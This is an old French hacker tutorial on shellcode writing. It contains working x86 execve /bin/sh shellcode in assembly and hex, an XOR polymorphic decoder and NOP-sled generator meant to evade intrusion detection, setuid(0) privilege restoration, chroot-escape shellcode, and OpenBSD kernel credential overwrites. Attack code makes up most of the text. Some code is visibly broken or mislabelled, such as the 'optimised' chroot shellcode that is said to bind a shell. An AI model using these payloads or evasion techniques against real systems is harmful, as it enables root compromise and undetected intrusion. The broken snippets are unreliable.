Date : 18/08/2003
Auteur : Nocte
--------------------------------------------------------
Sommaire :
--------------------------------------------------------
- 1. Maman comment on fait un shellcode ?
- 2. Shellcodes optimisés
- 3. Shellcodes pour BOF
- 4. Shellcodes polymorphiques:camoufler un shellcode
- 5. Shellcodes invincibles
* planquer les nops
* modifier l'adresse de retour
* camoufler le shellcode
- 6. Conclusion
- 7. Références
--------------------------------------------------------
Depuis quelques années, les failles de buffer overflows se sont très
vite répandues, dans tous les systèmes existants, tant Windows,
que Linux, voire FreeBSD. Un hacker ne s'arrêtera pas à la découverte
d'une faille. Le but étant avant tout une meilleure sécurisation
du système, il cherchera toujours à approfondir les points faibles,
afin de mieux s'en protéger.
Quand un hacker découvre une faille de buffer overflow, par exemple,
il voudra l'exploiter pour récupérer un shell. Certains diront
ques les buffer overflow sont des failles si anciennes et tellement passées
en revues qu'elles sont, pour ainsi dire, dépassées. Certes, il
existe plusieurs dispositions pour éviter ce genre de trous de sécurités
comme des auditeurs de codes (slint), des bibliothèques d'allocations
sécurisées (libstafe) ainsi que des compilateurs spéciaux
(StackGuard)... Mais, malgré tout, l'expérience prouvent que ce
genre de failles sont toujours possibles surtout sur des systèmes d'exploitations
dont le nombre de lignes de codes est astronomiques. Obtenir un shell (un interpréteur
de commande, car on peut très bien prendre de le cas d'une telle faille
dégottée sur un système Microsoft) est le rêve car
on pourra ainsi passer toutes les commandes que l'on veut avec, en général,
les droits de root (évidemment, cela dépend sur quel processus
la faille a été découverte, s'il des privilèges,
le bit setuid root...). Evidemment, avant de parler de shellcodes évolués,
une explication s'impose quant aux shellcodes de bases. Evidemment, ces points
n'ont pas été découverts par moi même, mais approfondire
des découvertes permet de réaliser de beau bijou, dans le domaine
des shellcodes ;)
1. MAMAN, COMMENT ON FAIT UN SHELLCODE ?
---------------------------------------------------------------
Déjà faisons une brève mais nécessaire, présentation.
Un shellcode est un bout d'exécutable (mois d'un ko) qui a pour rôle
une tâche : exécuter un process, manipuler un fichier, binder un
shell... Son utilité principale est d'être injecté : un
shellcode est placé dans l'espace d'exécution d'un process pour
y être exécuté avec les privilèges du process. Evidemment,
le but recherché (pour des shellcodes injectable dans des buffers) sera
de le rendre le plus petit possible afin de pouvoir exploiter des buffers très
petits. Un shellcode ne doit contenir aucun caracètre nul dans son code
(car cela le tronquerait) et ne doit posséder aucune adresse absolue
(car son adresse même d'injection est inconnue). Voilà pour la
fiche d'identité. Passons à leur programmation.
Les shellcodes les plus simple sont des simple execve() d'un shell :
#include <stdio.h>
void shellcode()
{
char * name[];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return (0);
}
Par soucis d'optimisation et de gain en taille, on zappe le "_exit(0)"
pour execve(). De toute façon, notre shellcode ne plantera pas ;) Ensuite,
on le compile et le désassemble via gdb :
gcc -o shellcode -static shellcode.c (static est obligatoire pour l'adressage
mémoire).
On apprend ce que contiennent les registres :
- %eax : num du syscall execve() => 0xb
- %ebx : ptr sur "/bin/sh"
- %ecx : ptr sur tableau. Le tavleau d'arguments contient le ptr sur "/bin/sh"
et un ptr NULL
- %edx : ptr sur tableau d'environnement. C'est facultatif, dc on s'en fout,
on le met à NULL.
IL ne nous manque que l'adresse de la string "/bin/sh". On utilise la technique jmp/call. Si on place un call avant la chaîne de caractère et un jump dessus (le call sera donc négatif), l'adresse sera pushée en tant qu'adresse de retour sur la stack quand le call sera exécutée :
jmp adr
popl %esi // on récupère l'adresse de "/bin/sh"
... // shellcode
adr:
call adr
/bin/sh
A présent que nous avons tout, nous pouvons coder notre shellcode générique, très basique :
--shellcode.c--
void main()
{
asm("jmp toto
toto:
popl %esi // on récupère l'adresse de "/bin/sh"
movl %esi,0x8(%esi) // on l'écrit dans la table
xorl %eax,%eax // on oublie pas le nul de fin de chaîne
movl %eax,0xc(%esi)
movb %eax,0x7(%esi) // on place \0 en fin de chaîne
movb $0xb,%al // execve()
movl %esi, %ebx // la chaîne se retrouve dans %ebx
leal 0x8(%esi),%ecx // %ecx contient la table arguments
leal 0xc(%esi),%edx // %edx contient la table environnement
int $0x80 // syscall
xorl %ebx,%ebx // code de retour nul
movl %ebx,%eax // %eax = 1
inc %eax
int $0x80 // on passe la main au kernel qui gère le syscall
call toto
.string \"/bin/sh\"
");
}
Abordons un point : ici, on a mis %eax à 0 pour ensuite copier %eax,
c'est à dire 0, dans %esi :
movl %eax,0xc(%esi)
movb %eax,0x7(%esi)
a priori, on aurait envie de faire plutôt :
movl $0x0,0xc(%esi)
plutôt que de passer par un registre intermédiaire. Or, vous noterez
que cet opcode est plus long. Alors qu'un xor %eax, %eax ne prend que 2 bytes,
un mov $0x0, 0x7(%esi) prend le double!
D'où l'importance de bien choisir ces opcodes suivant le nombre d'octets
qu'ils utilisent afin de gagner en optimisation (on en reparlera plus bas, mais
sur un autre point).
Voici donc notre shellcode au final :
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
void (*sh)()= (void *)shellcode;
sh();
}
Plus qu'à compiler... On se retrouve avec un shellcode de 40 octets qui effectue un simple execsh... C'est peu mais on peut faire mieux ;)
2. SHELLCODES OPTIMISES
----------------------------------
Pourquoi vouloir créer des shellcodes petits ? Eh bien, pour pouvoir
exploiter des buffers petits. En effet, vous verrez rarement un buffer de 800
octets, en général il déplacent des chaînes de caractères
où des octets et sont donc petits. Notre but à nous sera donc
de réaliser des shellcodes de plus en plus petits... Ce doit devenir
une étape essentielle dans la réalisation d'un shellcode.
Pour ce faire, on va abandonner notre schéma de construction de shellcode,
vu précédemment et penser à un nouveau : on va pusher tous
les arguments sur la stack pour réaliser un shellcode minuscule... ça
nous donnera en asm :
xor %eax,%eax // le \0 qui termine la string
push %eax
push $0x68732f6e
push $0x69622f2f // on push la chaîne
mov %esp,%ebx // "bin/sh" dans %ebx
push %eax // ptr NULL
push %ebx // on pushe l'adresse de "/bin/sh"
mov %esp,%ecx // adresse du pointeur sur tableau dans %ecx
mov %11, %al // on appelle execve()
int $0x80 // on passe la main au syscall
le lecteur attentionné remarquera que, quand on push la chaîne,
on l'inverse (à cause du little endian... notez également qu'on
push "n/sh" et "//bi". On double le slash car notre string
fait 7 octets et sur la stack la règle est qu'on doit pusher 4 octets
par 4, donc on s'arranger pour que notre chaîne soit un multiple de 4
en doublant le slash.
On compile : gcc -o shellcode shellcode.c"
Et c'est dans la poche :)
char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
Et voili : un shellcode de 23 octets qui lance un shell ;) ça c'est
de l'optimisation.
Un shellcode peut bien sûr, faire plus qu'un simple execve(2) d'un shell.
Il peut binder un shell, manipuler des fichiers, créer des connexions
de retour...
Mais l'optimisation ne s'arrête pas à la taille du shellcode. Il
faut ensuite pouvoir les rendre furtifs aux IDS...
3. SHELLCODES POUR BUFFER OVERFLOWS
-------------------------------------
Prenons le cas simpliste d'un shellcode codé pour epxloiter un buffer
overflow. Il ne contient pas seulement le shellcodes proprement dit. il se compose
en différentes morceaux :
- des NOP (Null OPerations, 0x90) qui servent à remplir le buffer vulnérable
- le code du shellcode
- l'adresse de retour qui pointe dans les NOPS.
Dans la stack, on aura donc :
NOPS == Shellcode == Adresse de retour.
Quand la fonction contenant le buffer vulnérable se termine, par l'opcode
"ret", l'exécution se poursuit quelque part dans les NOPS car
l'adresse de retour réelle est overwrittée par la nouvelle adresse
de retour, qui renvoie au shellcode.
Pourquoi placer des NOPS ? Premièrement, ils servent à combler
le buffer vuln. Et deuxièmement, ils ont pour rôle de récupérer
le flux d'exécution à partir de l'adresse de retour estimée.
Par définition, one ne sait pas combien de NOPS seront exécutés
au moment de l'exploitation. Plus la plage de NOPS est grande, plus il y aura
de chance que l'adresse de retour estimée soit bonne. En général,
la taille de la la plage des NOPS est de l'ordre de quelques Ko.
Etant donné qu'un shellcode se décompose en ces 3 parties nous
allons camoufler ces composants pour que notre shellcode soit réellement
furtif.
4. SHELLCODES POLYMORPHIQUES : CAMOUFLER UN SHELLCODE
------------------------------------------------------------------------------------
Pourquoi vouloir réaliser des shellcodes polymorphiques ? Les IDS actuels
utilisent des images de shellcodes classiques pour les détecter (trace
de /bin/sh ou du syscall 0x80). Pour parer à cela nous allons crypter
notre shellcodes. Afin qu'on ne puisse le détecter par signature, l'idée
présentée ici est de réaliser un moteur de mutation polymorphiques
afin que le shellcodes soit à chaque fois différent. En effet,
si le décodeur du shellcode crypté ne peut prendre qu'une seule
forme, il pourra être plus facilement détecté. En revanche,
s'il en prend plusieurs, sa détection sera beaucoup plus complexes.
L'idée se base sur les moteur de mutations polymorphiques viraux. Cependant,
pour un virus, il est nécessaire de posséder l'encodeur et le
décodeur. Dans notre shellcode optimisé, nous n'aurons besoin
que du décodeur. On produira chez nous notre shellcode original ainsi
que l'encodeur. Puis, dans la stack du programme vulnérable, on aura
:
NOPS == SHELLCODE POLYMORPHIQUE == ADRESSE DE RETOUR
SHELLCODE POLYMORPHIQUE : Décodeur + clef + shellcode encodé.
La disposition des données doit être afin que la shellcode original
soit reconstruit de manière automatique, soit à la place du shellcode
encodé, soit dans une autre partie de la stack).
Concrètement, le chiffrement est une fonction XOR à clef glissante.
La taille de la clef est de deux mots longs de 32 bits : le premier mot est
la valeur initiale de la clef et le deuxième la valeur d'incrémentation.
Passons au coding => Voici le décodeur fait maison, decoder.S :
// key offset = <dec_start+4>
// slide offset = <dec_start+16>
// taille original du shellcode = <dec_start+11>
.text
.globl decoder_start
.globl decoder_end
.data
decoder_start:
jmp sc
begin_decode:
popl %esi
movl $0x42424242, %ebx
xorl %ecx, %ecx
movb $0x42, %cl
decode:
xorl %ebx, (%esi)
addl $0x42424242, %ebx
addl $0x4, %esi
loop decode
jmp decoder_end
sc:
call begin_decode
decoder_end:
Ensuite, on pourra réfléchir à la programmation d'un générateur de shellcode polymorphique.
Encore un peu de coding pour pas que ce paper soit trop vide :) Admettons qu'on veuille xoriser notre shellcode avec 0x01 par exemple. Eh bien,notre décodeur sera :
//décrypteur du shellcode
"\x68\x5e\x56\xc3\x90\x8B\xcc\xff\xd1\x83\xc6\x0e\x90\x8b\xfe\xac"
"\x34\x01\xaa\x84\xc0\x75\xf8"
puis notre shellcode xorisé (et, auparavant le décrypteur une série de nops si vous avez bien suivi... j'en vois qui dorme au fond de la classe, là!)
***3.1. COMMENT PLANQUER LES NOPS***
La plus grande partie du shellcode est composée des quelques milliers de bytes de NOPS. Ce sont eux qui sont les plus facile a repérer car la séquence est fixe : 0x90 pour une architecture Intel-32. Leur but est seulement dincrémenter le registre %eip pendant un cycle d'horloge. Il sont ausis utilisé par les compilateur pour garder l'alignement sur des adresses multiples de 4, 8 ou 16 octets. Comme le but est de remplir le buffer vulnérable, on peu, plutôt que d'utiliser des NOPS, se servir de n'importe quelle instruction d'un octet qui modifie n'importe quel registre que le shellcode n'utilisera pas. On pourra, par exemple, utiliser l'opcode 0x41 qui ocrrespond à 'inc %ecx' mais aussi au caractère ASCII 'A'. Voici les 36 opcodes qui ont une correspondance ASCII :
0x27 daa
0x2F das
0x3F aaa
0x40 aas
0x41 inc %eax
0x42 inc %ecx
0x43 inc %edx
0x44 inc %esp
0x45 inc %ebp
0x46 inc %esi
0x47 inc %edi
0x48 dec %eax
0x49 dec %ecx
0x4A dec %edx
0x4B dec %ebx
0x4C dec %esp
0x4D dec %ebp
0x4E dex %esi
0x4F dec %edi
0x50 push %eax
0x51 push %ecx
0x52 push %edx
0x53 push %ebx
0x54 push %dsp
0x55 push %ebp
0x56 push %esi
0x57 push %edi
0x58 pop %eax
0x59 pop %ecx
0x5A pop %edx
0x5B pop %ebx
0x5C pop %ebp
0x5D pop %esi
0x5E pop %edi
0x5F pusha
0x60 pusha
0x90 nop
0x91 xchg %eax, %ecx
0x92 xchg %eax, %edx
0x93 xchg %eax, %ebx
0x95 xchg %eax, %ebp
0x96 xchg %eax, %esi
0x97 xchg %eax, %edi
0x98 cwtl
0x99 cltd
0x9B fwait
0x9C pushf
0x9E safh
0x9F lahf
0xF5 cmc
0xF8 clc
0xF9 stc
0xFC cld
Vous remarquerez au passage que j'ia volontairement omit "inc %esp". En effet, un nombre incontrôlés de cet opcode sera dangereux puisque, comme on ne sait pas combien de nops seront exécuter lors de l'exploitation, on risquerait de se retrouver alors avec une valeur non alignée avec 4 dans %esp. Il faudra veiller aussi à ne pas effecué un trop grand nombre de push si notre shellcode se trouve en dessous de %esp, car cela le détruit... Le mieux est donc de les zapper
Notons qu'un nombre incontrôlés de inc %esp risquerait de laisser une valeure non alignée avec 4 dans %esp et nuire au fonctionnement du shellcode. De plus, les longues séries de push sont a éviter.
Voici un schéma squelettique d'un éventuel générateur de nops-like :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>
static unsigned char nop-like[] = {
// METTRE LES NOPS LIKES
};
int main(int argc, char **argv) {
nops = malloc (size + 1);
srand(time(NULL));
for (i = 0; i < size; i++)
{
if (ascii)
{
do {
curnop=nop-like[rand()%sizeof(nop-like)];
} while (!isprint(curnop));
}
else
{
curnop=nop-like[rand()%sizeof(nop-like)];
}
nops[i]=curnop;
return 0;
}
en développant (il est pas fini!) et en l'enrobant, on peut parvenir à quelque chose de potable et surtout utile pour réaliser des shellcode totalement invincible.
***3.2. MODIFIER L'ADRESSE DE RETOUR***
C'est la aprtie la plus dur à camoufler. En effet, on en a besoin pour
le bon fonctionnement du shellcode. Toutefois, on peut éviter de trop
la répéter ; par exemple, on peut remettre des NOPS après
le shellcode. Egalement, on peut moduler l'adresse. Cette technique consiste
à ne pas réppéter la même adresse, en les faisant
pointer dans plusieurs endroits dans la plage des NOPS : l'adresse sera légèrement
différente, mais permettra quand même de récupérer
le flux d'exécution.
***3.2. CAMOUFLER DES SHELLCODES***
Nous avons déjà traité de la première méthode
: le polymorphisme. Parlons maintenant des restrictions des opcodes.
En utilisant la même technique que les NOPS, si on sélectionne
seulement les octets ayant des correspondances ASCII, on peut parvenir à
réaliser un shellcode polymorphique entièrement en texte (cf texte
de rix pour Phrack, voir les références).
Toutefois, en plus de restreindre les opcodes, il faut restreindre leurs paramètres.
Si on examine le format de codage des opcode INtel et des deux champs : ModR/M
et SIB, on peut parvenir à restreindre encore plus les instruction assembleurs.
L'article de rix pour Phrack 57 "Writing a ia32 Alphanumerics shellcodes"
reprend en détail cette idéee.
5. DES SHELLCODES INVINCIBLES
-------------------------------------------
Nous avons brièvement vu comment réaliser des shellcodes qui
soient de plus en plus petits et invisible aux système de détection
des intrusions. Toutefois, bien que ces deux éatpes soient essentielles
pour réaliser un shellcodes évolués, un simple execsh ou
bindsh le rend assez limité en ce qui concerne ses capacité.
On pourra donc décider dans certains cas de lui donner la possibilité
de casser des protections mise en place sur un démon ou un serveur. Prenons
le cas le plus basique : une protection : seteuid(getuid()). Dans cette situation,
que se passe-t-il ? l'euid du process est fixé à la valeur du
ruid ce qui aura pour conséquence d'exécuter le shell sans privilège
particulier (s'il on insère cette ligne dans notre shellcode). Cependant,
on remarque que cette protection n'est pas très sécure. En effet,
il suffit de rajouter l'équivalet de setuid(0); au début de ntore
shellcode ppour récupérer les droits euid initiaux (ceux du root).
Cela nous donne :
char setuid[] =
"\x31\xc0" // xor %eax, %eax
"\x31\xdb" / xor %ebx, %ebx
"\xb0\x17" // movb $0x17, %al
"\xcd\x80";
On obtient donc un shellcode qui casse une protection seteuid(getuid()) :
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
Ceci n'était qu'une explication en guise d'introduction. En effet, sur
un système, un administrateur consciencieux ne s'arrêtera pas à
un stupide seteuid(getuid()) pour bloquer des accès à certains
partie de son serveur. La protection la plus usité est la mise en place
de chroot(). Cette fonction se résume en une sorte de prison, dans laquelle
un utilisateur est claustré et ne peut pas en sortir.
Or, il s'avère que le chroot() n'est pas secure. Hormis la méthode
du double chroot() qui n'existe quasiment plus (car il est très facile
de patcher son kernel pour ça), il existe environ 4 méthodes (dont
3 privées).
La méthode du double chroot() (on chroot() par dessus un chroot() pour
briser la protection est connue depuis la nuit des temps, mais ne fonctionne
plus sur les nouveaux noyaux (les kernels 2.4.x).
La méthode publique a été expliqué par un auteur
anonyme dans un des Phrack (cherchez ;). Elle concerne une vulnérabilité
dans le sysème chroot(), laquelle est d'ailleurs corrigée par
despatchs de sécurités, disponibles sur le Net. A utilisateur
root dansun environnement chrooté est capable deptracer n'importe quel
process du système (évidemment, hormis init.) . D'où vient
l'idée de créer un ptrace shellcode. On peut ensuite avec celui-ci,
tracer toute sorte de process et l'injecter dans un autre shellcode qui, lui,
effecturera un bindsh par exemple.
D'autres méthodes existent pour casser ce genre de prisons. Elle se
basent sur des vulnérabilités de kernels (et dont les patchs n'ont
pas été appliqués) et de démons.
Un des exemples les plus remarquables concerne une faille dans OpenBSD.Certains
services inetd.conf et OpenSSH sont lancés comme user dans un environnement
chrooté. Mais OpenBSD cotient une faille importante qui n'est pas patchable.
Installons une prison de la sorte :
jailme.c:
#include
int
main() {
chdir("/var/tmp/jail");
chroot("/var/tmp/jail");
setgroups(NULL, NULL);
setgid(32767);
setegid(32767);
setuid(32767);
seteuid(32767);
execl("/bin/sh", "jailed", NULL);
}
Maintenant on va mettre à jour l'ucred et le pcred d'un proc donnée. On va remplir l'adresse proc de son process parent, via sysctl() en remplaçant long 0x12345678.
call moo
.long 0x12345678 //addresse pproc
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop %edi
mov (%edi),%ecx //l'adresse du proc parent dans ec
// p_ruid
mov 0x10(%ecx),%ebx // ebx = p->p_cred
xor %eax,%eax
mov %eax,0x4(%ebx) // p->p_cred->p_ruid = 0
// mettre a jour cr_uid
mov (%ebx),%edx // edx = p->p_cred->pc_ucred
mov %eax,0x4(%edx) // p->p_cred->pc_ucred->cr_uid = 0
Les prisons chroot sont vérifiées ainsi pour chaque process :
on remplit le membre fd_dir de filedsc (struct d'ouverture de fichier) avec
le tpr vnode des répertoires chrootés. Quand le kernel veut donné
un service à un process, il vérifie l'existence de ce ptr. S'il
est présent, le kernel créera un nouveau root directory pour ce
process et le crhootera dans un répertoire prédéfini. Pour
un process régulier ce ptr est zero.
Si on met fd_dir à 0, on bypasse alors le chroot :)
fd_d_ir est référencé ainsi : p->p_fd->fd_rdir
On cassera donc le chroot ainsi :
mov 0x14(%ecx),%edx // edx = p->p_fd
mov %eax,0xc(%edx) // p->p_fd->fd_rdir = 0
Ce problème est dû à un overflow dans OpenBSD... et vu que les admins patchent mal (cf le virus Slammer ou Blaster :) Cette technique a bien été expliqué par Sinan dans Phrack 60.
Il existe un autre moyen de casser un chroot, mais qui demande d'être root dans l'environnement chrooté. Cela est du à une vulnérabilité dans plusieurs wu-ftpd qui n'est pas patchable... La solution est de ne pas mettre de root dans l'environnement chrooté (mais si on obtient les privilèges de root via une autre faille ?? :p). Elle touche toutes les versions unix (sauf freeBSD 4.x où le chroot() est plus robuste).
voici ce que donne l'exploit en C pour avoir un aperçu de l'action du
shellcode :
int main() {
char *sh[2]={"/bin/sh", NULL};
int gg=0xed
mkdir("sh.."; gg");
chroot("sh..");
while (gg!=0= {
chdir(".."); gg--;
}
chroot("..");
execve(sh[0],sh,NULL);
}
par suite, on obtient ce shellcode :
char sc[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xeb\x36\x5e\x88\x46\x0a"
"\x8d\x5e\x05\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x83"
"\xc3\x02\xb0\x0c\xcd\x80\xe0\xfa\xb0\x3d\xcd\x80\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x89\xc2\xb0\x0d"
"\xcd\x80\xe8\xc5\xff\xff\xff/bin/sh..";
int main() {
int *ret=(int *)(&ret+2):
printf("taille:%d\n",strlen(sc));
*ret=(int(sc);
80 bytes... pas mal, mais maintenant qu'on sait optimiser un shellcode, faisons le pour le fun :
char sc[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x5e\x88\x46\x0a"
"\x8d\x5e\x05\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd"
"\x80\x83\xc3\x02\xb0\x0c\xcd\x80\xe0\xfa\xb0\x3d\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe1\xb0\x0d\xcd\x80"
Un shellcode qui breake un chroot et binde un shell en 65 octets :)
Voilà une petite démonstration de la puissance que peut avoir
un shellcode bien programmé. Ensuite, on peut lui faire faire des manipulations
de fichiers, bref, la seule barrière sera votre imagination...
Après cette brève illustration des cassage de chroot(), deux
petits mots sur la fonction jail(). jail() est une évolution de chroot().
Cette fonction est très souple. Des fonctionnalités sont mises
en place, tel quel le paramétrage au démarrage d'une fail, la
possibilité de tuer un process depuis l'extérieur ou de placer
un process dans une jail après son lancement. Etre dans une jail est
un peut comme être derrière une glace sans teint : de l'extérieur
on voit l'intérieur, mais ce n'est pas réciproque. Ainsi, dans
l'hypothèse d'une attaque, l'intrus obtiendrait par exemple d'abord un
accès local par un exploit distant, puis un accès root par un
exploit local mais se verrait confiné dans sa jail. De plus, la jail
est tout de même restrictive, quoi qu'on en dise. Par exemple, il est
interdit de modifier le kernel ouc harger des LKM, modifier la configuration
réseau, monter des filesystems, créer des périphériques,
accéder au API raw ou routing socket, modifier la MIB (Management Information
Base) sysctl, modifier le securelevel...
Toutefois, à une époque des programmeurs avaient pour projet de
recoder jail() en plus secure, ce qui tent à sous-entendre que jail()
était bypassable... En outre, en s'y penchant de plus ptrès, jail()
n'est pas aussi restrictif qu'on pourrait le croire en lisant ce qui est dit
précédemment, et différentes méthodes sont envisageables
pour la bypasser. Comment la bypasser ? je n'ai pas terminé mes travaux
sur jail() donc je ne dirais rien dessus. De plus, ces méthodes sont
très dangereuses à dévoiler.
6. CONCLUSION
---------------------
En appliquant minutieusement ces méthodes, il est quasiment impossible
de détecter des attaques par buffer overflow avec des signatures comme
le font la plupart des IDS. Il faudra des analyseurs statistiques à partir
de différentes propriétés des connexions et/ou de leur
contenu , tel que Snort...
Bref, nous avons ainsi réaliser non seulement des shellcodes optimisés,
mais encore des shellcodes polymorphiques. Ce genre de shellcodes évolués
sera indétectable. Ensuite, libre à vous de les programmer afin
qu'ils aient des champ d'action plus grand...
Et surtout n'oubliez pas : tout ça, c'est pour le fun ;)
Have fun,
Nocte / DHS (http://www.dhs-team.org - slickers@6sens.com)
7. REFERENCES
-------------------------------------------------------------------------------------
Références :
- Sinan "noir" eren "Smashing the Kernel Stack for Fun And Profit",
Phrack #60-0x06
- Aleph1 "Smashing the Stack For Fun And Profit", Phrack #49-0x0e
- rix "Writing ia32 alphanumeric shellcodes", Phrack 54-0x0f
- anonyme "Buidling ptrace injecting shellcode", Phrack #59-0x0c
- Ktwo. Adm-mutate - ADM Team
- Intel Corp "Intel architecture Software Developer's Manuel (vol.1-3)
-------------------------------------------------------------------------------------
...:::
Shellcoding By Nocte ::...